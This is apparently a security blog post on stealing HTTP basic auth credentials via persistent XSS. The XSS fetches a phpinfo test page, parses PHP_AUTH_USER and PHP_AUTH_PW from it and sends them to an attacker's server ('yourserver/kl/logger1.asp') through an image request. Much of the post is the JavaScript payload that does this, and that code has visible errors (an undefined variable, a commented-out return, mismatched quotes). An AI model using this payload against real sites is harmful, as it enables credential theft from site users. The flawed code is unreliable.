

Stealing Basic Auth with Persistent XSS

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Content

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I found a better way to steal basic auth credentials using XSS, and it uses the same principal as cross site tracing. Basically, you need to get the web server to reflect either the authorization header or the user credentials in its HTML output. Once the data is accessible in the HTML, you can access it using JavaScript, and by-pass the same origin policy.

The mitigating factor here is that servers don't always conveniently do this for you. Fortunately, many PHP applications, including the one I was testing, will have an arbitrary PHP test page somewhere in the web root. These test pages usually use the `php_info()` function to display server info and confirm to the admin that the machine is functioning.

Among other server config details, the `php_info()` method also displays the user name and password of the currently logged in user. [Here](#) is one example of this script out in the wild. The source is basically: `<?php php_info(); ?>`

Drop that source code into a .php file on your server, protect it with basic auth, and then access the script and enter your creds. Scroll down and you will see your credentials in the HTML output.

When you have an XSS vulnerability, you can use XMLHTTP to request the php info URL, parse out the data, and send it off to a server you control. Below is some sample JavaScript to do just this.

```
function splitit(stringy) { var cut = stringy.split(' '); return cut[0] }  
  
function fetch(url) {  
var xmlhttp = false;  
  
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { xmlhttp = new  
ActiveXObject("Microsoft.XMLHTTP"); } catch (E) { xmlhttp = false; } }  
  
if (!xmlhttp && typeof XMLHttpRequest!='undefined') { xmlhttp = new XMLHttpRequest(); }  
  
xmlhttp.open("GET", xUrl,true); xmlhttp.onreadystatechange=function() {
```

```
if (xmlhttp.readyState==4) { // return xmlhttp.responseText; } } xmlhttp.send(null); return  
xmlhttp.responseText; } var resp = fetch('php1.php'); var SplitUser = resp.split('PHP_AUTH_USER"); var  
SplitPass = resp.split('PHP_AUTH_PW"); if (SplitUser.length > 1){ var username = splitit(SplitUser[1]);  
} if (SplitPass.length > 1){ var password = splitit(SplitPass[1]);  
} document.images[0].src = 'http://yourserver/kl/logger1.asp?key=' + username + '|' + password;
```

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